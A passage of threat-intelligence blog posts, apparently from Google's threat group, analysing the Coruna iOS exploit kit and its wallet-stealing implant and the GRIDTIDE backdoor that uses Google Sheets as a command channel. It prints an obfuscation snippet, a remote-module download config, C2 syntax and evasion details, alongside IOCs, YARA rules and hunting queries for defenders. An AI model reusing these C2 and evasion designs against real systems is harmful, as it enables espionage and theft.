        • If a patch is unavailable, isolate systems and components with stop-gap measures such as disabling specific services or blocking specific ports at the perimeter.

      • Personal devices:

        • Reboot phone regularly.

        • Do not click on links or download attachments from unknown contacts.

    Prioritization is a consistent struggle for most organizations due to limited resources requiring deciding what solutions are implemented–and for every choice of where to put resources, a different security need is neglected. Know your threats and your attack surface in order to prioritize decisions for best defending your systems and infrastructure.

    Coruna: The Mysterious Journey of a Powerful iOS Exploit Kit

    3 March 2026 at 15:00

    Introduction 

    Google Threat Intelligence Group (GTIG) has identified a new and powerful exploit kit targeting Apple iPhone models running iOS version 13.0 (released in September 2019) up to version 17.2.1 (released in December 2023). The exploit kit, named “Coruna” by its developers, contained five full iOS exploit chains and a total of 23 exploits. The core technical value of this exploit kit lies in its comprehensive collection of iOS exploits, with the most advanced ones using non-public exploitation techniques and mitigation bypasses. 

    The Coruna exploit kit provides another example of how sophisticated capabilities proliferate. Over the course of 2025, GTIG tracked its use in highly targeted operations initially conducted by a customer of a surveillance vendor, then observed its deployment in watering hole attacks targeting Ukrainian users by UNC6353, a suspected Russian espionage group. We then retrieved the complete exploit kit when it was later used in broad-scale campaigns by UNC6691, a financially motivated threat actor operating from China. How this proliferation occurred is unclear, but suggests an active market for "second hand" zero-day exploits. Beyond these identified exploits, multiple threat actors have now acquired advanced exploitation techniques that can be re-used and modified with newly identified vulnerabilities.

    Following our disclosure policy, we are sharing our research to raise awareness and advance security across the industry. We have also added all identified websites and domains to Safe Browsing to safeguard users from further exploitation. The Coruna exploit kit is not effective against the latest version of iOS, and iPhone users are strongly urged to update their devices to the latest version of iOS. In instances where an update is not possible, it is recommended that Lockdown Mode be enabled for enhanced security.

    Discovery Timeline

    discovery timeline

    Figure 1: Coruna iOS exploit kit timeline

    Initial Discovery: The Commercial Surveillance Vendor Role

    In February 2025, we captured parts of an iOS exploit chain used by a customer of a surveillance company. The exploits were integrated into a previously unseen JavaScript framework that used simple but unique JavaScript obfuscation techniques.

    [16, 22, 0, 69, 22, 17, 23, 12, 6, 17].map(x => {return String.fromCharCode(x ^ 101);}).join("")
    i.p1=(1111970405 ^ 1111966034);

    The JavaScript framework used these constructs to encode strings and integers

    The framework starts a fingerprinting module collecting a variety of data points to determine if the device is real and what specific iPhone model and iOS software version it is running. Based on the collected data, it loads the appropriate WebKit remote code execution (RCE) exploit, followed by a pointer authentication code (PAC) bypass as seen in Figure 2 from the deobfuscated JavaScript.

    Deobfuscated JavaScript of the Coruna exploit kit

    Figure 2: Deobfuscated JavaScript of the Coruna exploit kit

    At that time, we recovered the WebKit RCE delivered to a device running iOS 17.2 and determined it was CVE-2024-23222, a vulnerability previously identified as a zero-day that was addressed by Apple on Jan. 22, 2024 in iOS 17.3 without crediting any external researchers. Figure 3 shows the beginning of the RCE exploit exactly how it was delivered in-the-wild with our annotations.

    How the RCE exploit leveraging CVE-2024-23222 was delivered in the wild

    Figure 3: How the RCE exploit leveraging CVE-2024-23222 was delivered in the wild

    Government-Backed Attacker Usage

    In summer 2025, we noticed the same JavaScript framework hosted on cdn.uacounter[.]com, a website loaded as a hidden iFrame on many compromised Ukrainian websites, ranging from industrial equipment and retail tools to local services and ecommerce websites. The framework was only delivered to selected iPhone users from a specific geolocation.

    The framework was identical and delivered the same set of exploits. We collected WebKit RCEs, which included CVE-2024-23222, CVE-2022-48503, and CVE-2023-43000, before the server was shut down. We alerted and worked with CERT-UA to clean up all compromised websites.

    Full Exploit Chain Collection From Chinese Scam Websites

    At the end of the year, we identified the JavaScript framework on a very large set of fake Chinese websites mostly related to finance, dropping the exact same iOS exploit kit. The websites tried to convince users to visit the websites with iOS devices, as seen in Figure 4, taken from a fake WEEX crypto exchange website.

    Pop-up on a fake cryptocurrency exchange website trying to drive users to the exploits

    Figure 4: Pop-up on a fake cryptocurrency exchange website trying to drive users to the exploits

    Upon accessing these websites via an iOS device and regardless of their geolocation, a hidden iFrame is injected, delivering the exploit kit. As an example, Figure 5 shows the same CVE-2024-23222 exploit as it was found on 3v5w1km5gv[.]xyz.

    Screenshot of CVE-2024-23222 exploit recovered from a scam site

    Figure 5: Screenshot of CVE-2024-23222 exploit recovered from a scam site

    We retrieved all the obfuscated exploits, including ending payloads. Upon further analysis, we noticed an instance where the actor deployed the debug version of the exploit kit, leaving in the clear all of the exploits, including their internal code names. That’s when we learned that the exploit kit was likely named Coruna internally. In total, we collected a few hundred samples covering a total of five full iOS exploit chains. The exploit kit is able to target various iPhone models running iOS version 13.0 (released in September 2019) up to version 17.2.1 (released in December 2023).

    In the subsequent sections, we will provide a quick description of the framework, a breakdown of the exploit chains, and the associated implants we have captured. Our analysis of the collected data is ongoing, and we anticipate publishing additional technical specifications via new blog entries or root cause analyses (RCAs).

    The Coruna Exploit Kit

    The framework surrounding the exploit kit is extremely well engineered; the exploit pieces are all connected naturally and combined together using common utility and exploitation frameworks. The kit performs the following unique actions:

    • Bailing out if the device is in Lockdown Mode, or the user is in private browsing.

    • A unique and hard-coded cookie is used along the way to generate resource URLs.

    • Resources are referred to by a hash, which needs to be derived with the unique cookie using sha256(COOKIE + ID)[:40] to get their URL.

    • RCE and PAC bypasses are delivered unencrypted.

    The kit contains a binary loader to load the appropriate exploit chain post RCE within WebKit. In this case, binary payloads:

    • Have unique metadata indicating what they really are, what chips and iOS versions they support.

    • Are served from URLs that end with .min.js.

    • Are encrypted using ChaCha20 with a unique key per blob.

    • Are packaged in a custom file format starting with 0xf00dbeef as header.

    • Are compressed with the Lempel–Ziv–Welch (LZW) algorithm.

    Figure 6 shows what an infection of an iPhone XR running iOS 15.8.5 looks like from a networking point of view, with our annotation of the different parts when browsing one of these fake financial websites.

    Coruna exploit chain delivered on iOS 15.8.5

    Figure 6: Coruna exploit chain delivered on iOS 15.8.5

    The Exploits and Their Code Names

    The core technical value of this exploit kit lies in its comprehensive collection of iOS exploits. The exploits feature extensive documentation, including docstrings and comments authored in native English. The most advanced ones are using non-public exploitation techniques and mitigation bypasses. The following table provides a summary of our ongoing analysis regarding the various exploit chains; however, as the full investigation is still in progress, certain CVE associations may be subject to revision. There are in total 23 exploits covering versions from iOS 13 to iOS 17.2.1.

    Type

    Codename

    Targeted versions (inclusive)

    Fixed version

    CVE

    WebContent R/W

    buffout

    13 → 15.1.1

    15.2

    CVE-2021-30952

    WebContent R/W

    jacurutu

    15.2 → 15.5

    15.6

    CVE-2022-48503

    WebContent R/W

    bluebird

    15.6 → 16.1.2

    16.2

    No CVE

    WebContent R/W

    terrorbird

    16.2 → 16.5.1

    16.6

    CVE-2023-43000

    WebContent R/W

    cassowary

    16.6 → 17.2.1

    16.7.5, 17.3

    CVE-2024-23222

    WebContent PAC bypass

    breezy

    13 → 14.x

    ?

    No CVE

    WebContent PAC bypass

    breezy15

    15 → 16.2

    ?

    No CVE

    WebContent PAC bypass

    seedbell

    16.3 → 16.5.1

    ?

    No CVE

    WebContent PAC bypass

    seedbell_16_6

    16.6 → 16.7.12

    ?

    No CVE

    WebContent PAC bypass

    seedbell_17

    17 → 17.2.1

    ?

    No CVE

    WebContent sandbox escape

    IronLoader

    16.0 → 16.3.116.4.0 (<= A12)

    15.7.8, 16.5

    CVE-2023-32409

    WebContent sandbox escape

    NeuronLoader

    16.4.0 → 16.6.1 (A13-A16)

    17.0

    No CVE

    PE

    Neutron

    13.X

    14.2

    CVE-2020-27932

    PE (infoleak)

    Dynamo

    13.X

    14.2

    CVE-2020-27950

    PE

    Pendulum

    14 → 14.4.x

    14.7

    No CVE

    PE

    Photon

    14.5 → 15.7.6

    15.7.7, 16.5.1

    CVE-2023-32434

    PE

    Parallax

    16.4 → 16.7

    17.0

    CVE-2023-41974

    PE

    Gruber

    15.2 → 17.2.1

    16.7.6, 17.3

    No CVE

    PPL Bypass

    Quark

    13.X

    14.5

    No CVE

    PPL Bypass

    Gallium

    14.x

    15.7.8, 16.6

    CVE-2023-38606

    PPL Bypass

    Carbone

    15.0 → 16.7.6

    17.0

    No CVE

    PPL Bypass

    Sparrow

    17.0 → 17.3

    16.7.6, 17.4

    CVE-2024-23225

    PPL Bypass

    Rocket

    17.1 → 17.4

    16.7.8, 17.5

    CVE-2024-23296

    Table 1: Table with mapping CVE to code names

    Photon and Gallium are exploiting vulnerabilities that were also used as zero-days as part of Operation Triangulation, discovered by Kaspersky in 2023. The Coruna exploit kit also embeds reusable modules to ease the exploitation of the aforementioned vulnerabilities. For example, there is a module called rwx_allocator using multiple techniques to bypass various mitigations preventing allocation of RWX memory pages in userland. The kernel exploits are also embedding various internal modules allowing them to bypass kernel-based mitigations such as kernel-mode PAC.

    The Ending Payload

    At the end of the exploitation chain, a stager binary called PlasmaLoader (tracked by GTIG as PLASMAGRID), using com.apple.assistd as an identifier, facilitates communication with the kernel component established by the exploit. The loader is injecting itself into powerd, a daemon running as root on iOS.

    The injected payload doesn’t exhibit the usual capabilities that we would expect to see from a surveillance vendor, but instead steals financial information. The payload can decode QR codes from images on disk. It also has a module to analyze blobs of text to look for BIP39 word sequences or very specific keywords like “backup phrase” or “bank account.” If such text is found in Apple Memos it will be sent back to the C2.

    More importantly, the payload has the ability to collect and run additional modules remotely, with the configuration retrieved from http://<C2 URL>/details/show.html. The configuration, as well as the additional modules, are compressed as 7-ZIP archives protected with a unique hard-coded password. The configuration is encoded in JSON and simply contains a list of module names with their respective URL, hash and size.

    {
      "entries": [
        {
          "bundleId": "com.bitkeep.os",
          "url": "http://<C2URL>/details/f6lib.js",
          "sha256": "6eafd742f58db21fbaf5fd7636e6653446df04b4a5c9bca9104e5dfad34f547c",
          "size": 256832,
          "flags": {
            "do_not_close_after_run": true
          }
        }
    ...
      ]
    }

    As expected, most of all identified modules exhibit a uniform design; they are all placing function hooks for the purpose of exfiltrating cryptocurrency wallets or sensitive information from the following applications:

    • com.bitkeep.os
    • com.bitpie.wallet
    • coin98.crypto.finance.insights
    • org.toshi.distribution
    • exodus-movement.exodus
    • im.token.app
    • com.kyrd.krystal.ios
    • io.metamask.MetaMask
    • org.mytonwallet.app
    • app.phantom
    • com.skymavis.Genesis
    • com.solflare.mobile
    • com.global.wallet.ios
    • com.tonhub.app
    • com.jbig.tonkeeper
    • com.tronlink.hdwallet
    • com.sixdays.trust
    • com.uniswap.mobile

    All of these modules contain proper logging with sentences written in Chinese:

    <PlasmaLogger> %s[%d]: CorePayload 管理器初始化成功,尝试启动...

    This log string indicates the CorePayload Manager initialized successfully

    Some comments, such as the following one, also include emojis and are written in a way suggesting they might be LLM-generated.

    <PlasmaLogger> %s[%d]: [PLCoreHeartbeatMonitor] ✅ 心跳监控已启动 (端口=0x%x),等待 CorePayload 发送第一个心跳...

    Network communication is done over HTTPs with the collected data encrypted and POST’ed with AES using the SHA256 hash of a static string as key. Some of the HTTP requests contain additional HTTP headers such as sdkv or x-ts, followed by a timestamp. The implant contains a list of hard-coded C2s but has a fallback mechanism in case the servers do not respond. The implant embeds a custom domain generation algorithm (DGA) using the string “lazarus” as seed to generate a list of predictable domains. The domains will have 15 characters and use .xyz as TLD. The attackers use Google's public DNS resolver to validate if the domains are active.

    Conclusion

    Google has been a committed participant in the Pall Mall Process, designed to build consensus and progress toward limiting the harms from the spyware industry. Together, we are focused on developing international norms and frameworks to limit the misuse of these powerful technologies and protect human rights around the world. These efforts are built on earlier governmental actions, including steps taken by the US Government to limit government use of spyware, and a first-of-its-kind international commitment to similar efforts.

    Acknowledgements

    We would like to acknowledge and thank Google Project-Zero and Apple Security Engineering & Architecture team for their partnership throughout this investigation.

    Indicators of Compromise (IOCs)

    To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a free GTI Collection for registered users.

    File Indicators

    Hashes of the implant and its modules delivered from the crypto related websites.

    Implant

    bundleId

    SHA-256

    com.apple.assistd

    2a9d21ca07244932939c6c58699448f2147992c1f49cd3bc7d067bd92cb54f3a

    Modules

    bundleId

    SHA-256

    com.apple.springboard

    18394fcc096344e0730e49a0098970b1c53c137f679cff5c7ff8902e651cd8a3

    com.bitkeep.os

    6eafd742f58db21fbaf5fd7636e6653446df04b4a5c9bca9104e5dfad34f547c

    com.bitpie.wallet

    42cc02cecd65f22a3658354c5a5efa6a6ec3d716c7fbbcd12df1d1b077d2591b

    coin98.crypto.finance.insights

    0dff17e3aa12c4928273c70a2e0a6fff25d3e43c0d1b71056abad34a22b03495

    org.toshi.distribution

    05b5e4070b3b8a130b12ea96c5526b4615fcae121bb802b1a10c3a7a70f39901

    exodus-movement.exodus

    10bd8f2f8bb9595664bb9160fbc4136f1d796cb5705c551f7ab8b9b1e658085c

    im.token.app

    91d44c1f62fd863556aac0190cbef3b46abc4cbe880f80c580a1d258f0484c30

    com.kyrd.krystal.ios

    721b46b43b7084b98e51ab00606f08a6ccd30b23bef5e542088f0b5706a8f780

    io.metamask.MetaMask

    25a9b004cf61fb251c8d4024a8c7383a86cb30f60aa7d59ca53ce9460fcfb7de

    org.mytonwallet.app

    be28b40df919d3fa87ed49e51135a719bd0616c9ac346ea5f20095cb78031ed9

    app.phantom

    3c297829353778857edfeaed3ceeeca1bf8b60534f1979f7d442a0b03c56e541

    com.skymavis.Genesis

    499f6b1e012d9bc947eea8e23635dfe6464cd7c9d99eb11d5874bd7b613297b1

    com.solflare.mobile

    d517c3868c5e7808202f53fa78d827a308d94500ae9051db0a62e11f7852e802

    com.global.wallet.ios

    4dfcf5a71e5a8f27f748ac7fd7760dec0099ce338722215b4a5862b60c5b2bfd

    com.tonhub.app

    d371e3bed18ee355438b166bbf3bdaf2e7c6a3af8931181b9649020553b07e7a

    com.jbig.tonkeeper

    023e5fb71923cfa2088b9a48ad8566ff7ac92a99630add0629a5edf4679888de

    com.tronlink.hdwallet

    f218068ea943a511b230f2a99991f6d1fbc2ac0aec7c796b261e2a26744929ac

    com.sixdays.trust

    1fb9dedf1de81d387eff4bd5e747f730dd03c440157a66f20fdb5e95f64318c0

    com.uniswap.mobile

    4dc255504a6c3ea8714ccdc95cc04138dc6c92130887274c8582b4a96ebab4a8

    Network Indicators

    UNC6353 Indicators

    URL delivering Coruna exploit kit

    http://cdn[.]uacounter[.]com/stat[.]html

    UNC6691 Indicators

    URLs delivering Coruna exploit kit

    https://ai-scorepredict[.]com/static/analytics[.]html

    https://m[.]pc6[.]com/test/tuiliu/group[.]html

    http://ddus17[.]com/tuiliu/group[.]html

    https://goodcryptocurrency[.]top/details/group[.]html

    http://pepeairdrop01[.]com/static/analytics[.]html

    https://osec2[.]668ddf[.]cc/tuiliu/group[.]html

    https://pepeairdrop01[.]com/static/analytics[.]html

    https://ios[.]teegrom[.]top/tuiliu/group[.]html

    https://i[.]binaner[.]com/group[.]html

    https://ajskbnrs[.]xn--jor0b302fdhgwnccw8g[.]com/gogo/list[.]html

    https://sj9ioz3a7y89cy7[.]xyz/list[.]html

    https://65sse[.]668ddf[.]cc/tuiliu/group[.]html

    https://sadjd[.]mijieqi[.]cn/group[.]html

    https://mkkku[.]com/static/analytics[.]html

    https://dbgopaxl[.]com/static/goindex/tuiliu/group[.]html

    https://w2a315[.]tubeluck[.]com/static/goindex/tuiliu/group[.]html

    https://ose[.]668ddf[.]cc/tuiliu/group[.]html

    http://cryptocurrencyworld[.]top/details/group[.]html

    https://iphonex[.]mjdqw[.]cn/tuiliu/group[.]html

    http://goodcryptocurrency[.]top/details/group[.]html

    https://share[.]4u[.]game/group[.]html

    https://26a[.]online/group[.]html

    https://binancealliancesintro[.]com/group[.]html

    https://4u[.]game/group[.]html

    http://bestcryptocurrency[.]top/details/group[.]html

    https://b27[.]icu/group[.]html

    https://h4k[.]icu/group[.]html

    https://so5083[.]tubeluck[.]com/static/goindex/group[.]html

    https://seven7[.]vip/group[.]html

    https://y4w[.]icu/group[.]html

    https://7ff[.]online/group[.]html

    https://cy8[.]top/group[.]html

    https://7uspin[.]us/group[.]html

    https://seven7[.]to/group[.]html

    https://4kgame[.]us/group[.]html

    https://share[.]7p[.]game/group[.]html

    https://www[.]appstoreconn[.]com/xmweb/group[.]html

    https://k96[.]icu/group[.]html

    https://7fun[.]icu/group[.]html

    https://n49[.]top/group[.]html

    https://98a[.]online/group[.]html

    https://spin7[.]icu/group[.]html

    https://t7c[.]icu/group[.]html

    https://7p[.]game/group[.]html

    https://lddx3z2d72aa8i6[.]xyz/group[.]html

    https://anygg[.]liquorfight[.]com/88k4ez/group[.]html

    https://goanalytics[.]xyz/88k4ez/group[.]html

    http://land[.]77bingos[.]com/88k4ez/group[.]html

    https://land[.]bingo777[.]now/88k4ez/group[.]html

    http://land[.]bingo777[.]now/88k4ez/group[.]html

    http://land[.]777bingos[.]xyz/88k4ez/group[.]html

    https://btrank[.]top/tuiliu/group[.]html

    https://dd9l7e6ghme8pbk[.]xyz/group[.]html

    https://res54allb[.]xn--xkrsa0078bd6d[.]com/group[.]html

    https://fxrhcnfwxes90q[.]xyz/group[.]html

    https://kanav[.]blog/group[.]html

    https://3v5w1km5gv[.]xyz/group[.]html

    PLASMAGRID C2 domains

    vvri8ocl4t3k8n6.xyz

    rlau616jc7a7f7i.xyz

    ol67el6pxg03ad7.xyz

    6zvjeulzaw5c0mv.xyz

    ztvnhmhm4zj95w3.xyz

    v2gmupm7o4zihc3.xyz

    pen0axt0u476duw.xyz

    hfteigt3kt0sf3z.xyz

    xfal48cf0ies7ew.xyz

    yvgy29glwf72qnl.xyz

    lk4x6x2ejxaw2br.xyz

    2s3b3rknfqtwwpo.xyz

    xjslbdt9jdijn15.xyz

    hui4tbh9uv9x4yi.xyz

    xittgveqaufogve.xyz

    xmmfrkq9oat1daq.xyz

    lsnngjyu9x6vcg0.xyz

    gdvynopz3pa0tik.xyz

    o08h5rhu2lu1x0q.xyz

    zcjdlb5ubkhy41u.xyz

    8fn4957c5g986jp.xyz

    uawwydy3qas6ykv.xyz

    sf2bisx5nhdkygn3l.xyz

    roy2tlop2u.xyz

    gqjs3ra34lyuvzb.xyz

    eg2bjo5x5r8yjb5.xyz

    b38w09ecdejfqsf.xyz

    YARA Rules

    rule G_Hunting_Exploit_MapJoinEncoder_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    	strings:
    		$s1 = /\[[^\]]+\]\.map\(\w\s*=>.{0,15}String\.fromCharCode\(\w\s*\^\s*(\d+)\).{0,15}\.join\(""\)/
    		$fp1 = "bot|googlebot|crawler|spider|robot|crawling"
    	condition:
    		1 of ($s*) and not any of ($fp*)
    }
    rule G_Backdoor_PLASMAGRID_Strings_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    	strings:
    		$ = "com.plasma.appruntime.appdiscovery"
    		$ = "com.plasma.appruntime.downloadmanager"
    		$ = "com.plasma.appruntime.hotupdatemanager"
    		$ = "com.plasma.appruntime.modulestore"
    		$ = "com.plasma.appruntime.netconfig"
    		$ = "com.plasma.bundlemapper"
    		$ = "com.plasma.event.upload.serial"
    		$ = "com.plasma.notes.monitor"
    		$ = "com.plasma.photomonitor"
    		$ = "com.plasma.PLProcessStateDetector"
    		$ = "plasma_heartbeat_monitor"
    		$ = "plasma_injection_dispatcher"
    		$ = "plasma_ipc_processor"
    		$ = "plasma_%@.jpg"
    		$ = "/var/mobile/Library/Preferences/com.plasma.photomonitor.plist"
    		$ = "helion_ipc_handler"
    		$ = "PLInjectionStateInfo"
    		$ = "PLExploitationInterface"
    	condition:
    		1 of them
    }

    Exposing the Undercurrent: Disrupting the GRIDTIDE Global Cyber Espionage Campaign

    25 February 2026 at 15:00

    Introduction

    Last week, Google Threat Intelligence Group (GTIG), Mandiant, and partners took action to disrupt a global espionage campaign targeting telecommunications and government organizations in dozens of nations across four continents. The threat actor, UNC2814, is a suspected People's Republic of China (PRC)-nexus cyber espionage group that GTIG has tracked since 2017. This prolific, elusive actor has a long history of targeting international governments and global telecommunications organizations across Africa, Asia, and the Americas and had confirmed intrusions in 42 countries when the disruption was executed. The attacker was using API calls to communicate with SaaS apps as command-and-control (C2) infrastructure to disguise their malicious traffic as benign, a common tactic used by threat actors when attempting to improve the stealth of their intrusions. Rather than abusing a weakness or security flaw, attackers rely on cloud-hosted products to function correctly and make their malicious traffic seem legitimate. This disruption, led by GTIG in partnership with other teams, included the following actions: 

    • Terminating all Google Cloud Projects controlled by the attacker, effectively severing their persistent access to environments compromised by the novel GRIDTIDE backdoor.

    • Identifying and disabling all known UNC2814 infrastructure. 

    • Disabling attacker accounts and revoked access to the Google Sheets API calls leveraged by the actor for command-and-control (C2) purposes.

    • Releasing a set of IOCs linked to UNC2814 infrastructure active since at least 2023. 

    GTIG’s understanding of this campaign was accelerated by a recent Mandiant Threat Defense investigation into UNC2814 activity. Mandiant discovered that UNC2814 was leveraging a novel backdoor tracked as GRIDTIDE. This activity is not the result of a security vulnerability in Google’s products; rather, it abuses legitimate Google Sheets API functionality to disguise C2 traffic.

    As of Feb. 18, GTIG's investigation confirmed that UNC2814 has impacted 53 victims in 42 countries across four continents, and identified suspected infections in at least 20 more countries. It is important to highlight that UNC2814 has no observed overlaps with activity publicly reported as “Salt Typhoon,” and targets different victims globally using distinct tactics, techniques, and procedures (TTPs). Although the specific initial access vector for this campaign has not been determined, UNC2814 has a history of gaining entry by exploiting and compromising web servers and edge systems.

    GRIDTIDE infection lifecycle

    Figure 1:GRIDTIDE infection lifecycle

    Initial Detection

    Mandiant leverages Google Security Operations (SecOps) to perform continuous detection, investigation, and response across our global customer base. During this investigation, a detection flagged suspicious activity on a CentOS server.

    In this case, Mandiant’s investigation revealed a suspicious process tree: the binary /var/tmp/xapt initiated a shell with root privileges. The binary then executed the command sh -c id 2>&1 to retrieve the system's user and group identifiers. This reconnaissance technique enabled the threat actor to confirm their successful privilege escalation to root. Mandiant analysts triaged the alert, confirmed the malicious intent, and reported the activity to the customer. This rapid identification of a sophisticated threat actor’s TTPs demonstrates the value of Google Cloud’s Shared Fate model, which provides organizations with curated, out-of-the-box (OOB) detection content designed to help organizations better defend against modern intrusions.

    [Process Tree]
    /var/tmp/xapt
     └── /bin/sh
          └── sh -c id 2>&1
               └── [Output] uid=0(root) gid=0(root) groups=0(root)

    The payload was likely named xapt to masquerade as the legacy tool used in Debian-based systems.

    Post-Compromise Activity

    The threat actor used a service account to move laterally within the environment via SSH. Leveraging living-off-the-land (LotL)binaries, the threat actor performed reconnaissance activities, escalated privileges, and set up persistence for the GRIDTIDE backdoor.

    To achieve persistence, the threat actor created a service for the malware at /etc/systemd/system/xapt.service, and once enabled, a new instance of the malware was spawned from /usr/sbin/xapt.

    The threat actor initially executed GRIDTIDE via the command nohup ./xapt. This allows the backdoor to continue running even after the session is closed.

    Subsequently, SoftEther VPN Bridge was deployed to establish an outbound encrypted connection to an external IP address. VPN configuration metadata suggests UNC2814 has been leveraging this specific infrastructure since July 2018.

    The threat actor dropped GRIDTIDE on to an endpoint containing personally identifiable information (PII), including:

    • Full name

    • Phone number

    • Date of birth

    • Place of birth

    • Voter ID number

    • National ID number

    We assess the targeting of PII in this engagement is consistent with cyber espionage activity in telecommunications, which is primarily leveraged to identify, track, and monitor persons of interest. We expect UNC2814 used this access to exfiltrate a variety of data on persons and their communications. Similar campaigns have been used to exfiltrate call data records, monitor SMS messages, and to even monitor targeted individuals through the telco’s lawful intercept capabilities.

    GTIG did not directly observe UNC2814 exfiltrate sensitive data during this campaign. However, historical PRC-nexus espionage intrusions against telecoms have resulted in the theft of call data records, unencrypted SMS messages, and the compromise and abuse of lawful intercept systems. This focus on sensitive communications historically is intended to enable the targeting of individuals and organizations for surveillance efforts, particularly dissidents and activists, as well as traditional espionage targets. The access UNC2814 achieved during this campaign would likely enable clandestine efforts to similarly surveil targets. 

    GRIDTIDE

    GRIDTIDE is a sophisticated C-based backdoor with the ability to execute arbitrary shell commands, upload files, and download files. The backdoor leverages Google Sheets as a high-availability C2 platform, treating the spreadsheet not as a document, but as a communication channel to facilitate the transfer of raw data and shell commands. GRIDTIDE hides its malicious traffic within legitimate cloud API requests, evading standard network detection. While the GRIDTIDE sample FLARE analyzed as part of this campaign leverages Google Sheets for its C2, the actor could easily make use of other cloud-based spreadsheet platforms in the same manner.

    Google Sheets

    GRIDTIDE expects a 16-byte cryptographic key to be present in a separate file on the host at the time of execution. The malware uses this key to decrypt its Google Drive configurations using AES-128 in Cipher Block Chaining (CBC) mode.

    The Google Drive configuration data contains the service account associated with UNC2814’s Google Sheets document, and a private key for the account. It also contains the Google Spreadsheet ID and the private key to access the document. GRIDTIDE then connects to the malicious Google Spreadsheet using the Google Service Account for API authentication (the threat actor’s Google Service Account and associated Google Workspace have been disabled).

    When executed, GRIDTIDE sanitizes its Google Sheet. It does this by deleting the first 1000 rows, across columns A to Z in the spreadsheet, by using the Google Sheets API batchClear method. This prevents previous commands or file data stored in the Sheet from interfering with the threat actor’s current session.

    Once the Sheet is prepared, the backdoor conducts host-based reconnaissance. It fingerprints the endpoint by collecting the victim’s username, endpoint name, OS details, local IP address, and environmental data such as the current working directory, language settings, and local time zone. This information is then exfiltrated and stored in cell V1 of the attacker-controlled spreadsheet.

    Command Syntax

    The threat actor issues instructions using a four-part command syntax: <type>-<command_id>-<arg_1>-<arg_2>.

    • <type> Commands originating from the threat actor are categorized as type C (Client).

    • <command_id>

      • C (Command): Executes Base64-encoded Bash shell commands on the endpoint and redirects the output to the spreadsheet.

      • U (Upload): Upload the data stored in the cells A2:A<arg_2> to the target endpoint, reconstruct and write to the encoded file path <arg_1>.

      • D (Download): Reads the data from the encoded local file path on the endpoint <arg_1> and transfers the contents in 45-KB fragments to the spreadsheet across the A2:An range.

    In response, the malware posts a Server (S) status message to cell A1, confirming the successful completion of the task (R) or returning an error:

    • <type> Responses originating from the malware are categorised as type S (Server).

    • <command_id> Will match the <command_id> value sent by the threat actor.

    • <arg_1> Indicating the command executed successfully (R), or an error message.

    • <arg_2> Exfiltrated data is saved within the range A2:A<arg_2>. This value displays the upper cell number of the data.

    Cell-Based C2

    GRIDTIDE’s C2 communication works on a cell-based polling mechanism, assigning specific roles to spreadsheet cells to facilitate communication.

    • A1: The malware polls this cell via the Google Sheets API for attacker commands, and subsequently overwrites it with a status response upon completion (e.g., S-C-R or Server-Command-Success. If no command exists in the cell, the malware sleeps for one second before trying again. If the number of trials reaches 120, it changes the sleep time to be a random duration between 5–10 minutes, likely to reduce noise when the threat actor is not active. When a command does exist in the cell, GRIDTIDE executes it and resets the wait time to one second.

    • A2-An: Used for the transfer of data, such as command output, uploading tools, or exfiltrating files.

    • V1: Stores system data from the victim endpoint. When executed, the malware updates this cell with an encoded string containing host-based metadata.

    Obfuscation and Evasion

    To evade detection and web filtering, GRIDTIDE employs a URL-safe Base64 encoding scheme for all data sent and received. This encoding variant replaces standard Base64 characters (+ and /) with alternatives (- and _).

    Command Execution Lifecycle

    GRIDTIDE execution lifecycle

    Figure 2: GRIDTIDE execution lifecycle

    Targeting

    Countries with suspected or confirmed UNC2814 victims

    Figure 3: Countries with suspected or confirmed UNC2814 victims

    UNC2814 is a suspected PRC-nexus threat actor that has conducted global operations since at least 2017. The group's recent activity leveraging GRIDTIDE malware has primarily focused on targeting telecommunications providers on a worldwide scale, but UNC2814 also targeted government organizations during this campaign. 

    GTIG confirmed 53 intrusions by UNC2814 in 42 total nations globally, and identified suspected targeting in at least 20 other nations. This prolific scope is likely the result of a decade of concentrated effort.

    Disrupting UNC2814

    GTIG is committed to actively countering and disrupting malicious operations, ensuring the safety of our customers and mitigating the global impact of this malicious cyber activity. 

    To counter UNC2814’s operations, GTIG executed a series of coordinated disruption actions:

    • Elimination of GRIDTIDE Access: We terminated all Cloud Projects controlled by the attacker, effectively severing their persistent access to environments compromised by the GRIDTIDE backdoor.

    • Infrastructure Takedown: In collaboration with partners, we identified and disabled all known UNC2814 infrastructure. This included the sinkholing of both current and historical domains used by the group in order to further dismantle UNC2814’s access to compromised environments.

    • Account Disruption: GTIG and its partners disabled attacker accounts, revoked access to the Google Sheets, and disabled all Google Cloud projects leveraged by the actor for command-and-control (C2) purposes.

    • Victim Notifications: GTIG has issued formal victim notifications and is actively supporting organizations with verified compromises resulting from this threat.

    • Detection Signatures: We have refined and implemented a variety of signatures and signals designed to neutralize UNC2814 operations and intercept malware linked to GRIDTIDE.

    • IOC Release: We are publicly releasing a collection of IOC’s related to UNC2814 infrastructure that the group has used since at least 2023 to help organizations identify this activity in their networks and better protect customers and organizations around the world.

    Conclusion

    The global scope of UNC2814’s activity, evidenced by confirmed or suspected operations in over 70 countries, underscores the serious threat facing telecommunications and government sectors, and the capacity for these intrusions to evade detection by defenders. Prolific intrusions of this scale are generally the result of years of focused effort and will not be easily re-established. We expect that UNC2814 will work hard to re-establish their global footprint.

    Detection Through Google Security Operations

    Google SecOps customers have access to these broad category rules and more under the Mandiant Hunting rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names:

    • Suspicious Shell Execution From Var Directory

    • Suspicious Sensitive File Access Via SSH

    • Config File Staging in Sensitive Directories

    • Shell Spawning Curl Archive Downloads from IP

    • Numeric Permission Profiling in System Paths

    • Sudo Shell Spawning Reconnaissance Tools

    • Potential Google Sheets API Data Exfiltration

    SecOps Hunting Queries

    The following UDM queries can be used to identify potential compromises within your environment.

    Suspicious Google Sheets API Connections

    Search for a non-browser process initiating outbound HTTPS requests to specific Google Sheets URIs leveraged by GRIDTIDE.

    target.url = /sheets\.googleapis\.com/
    (
      target.url = /batchClear/ OR 
      target.url = /batchUpdate/ OR
      target.url = /valueRenderOption=FORMULA/
    )
    principal.process.file.full_path != /chrome|firefox|safari|msedge/
    Config File Creation in Suspicious Directory

    Identify configuration files being created at, modified, or moved to unexpected locations.

    (
      metadata.event_type = "FILE_CREATION" OR
      metadata.event_type = "FILE_MODIFICATION" OR
      metadata.event_type = "FILE_MOVE"
    )
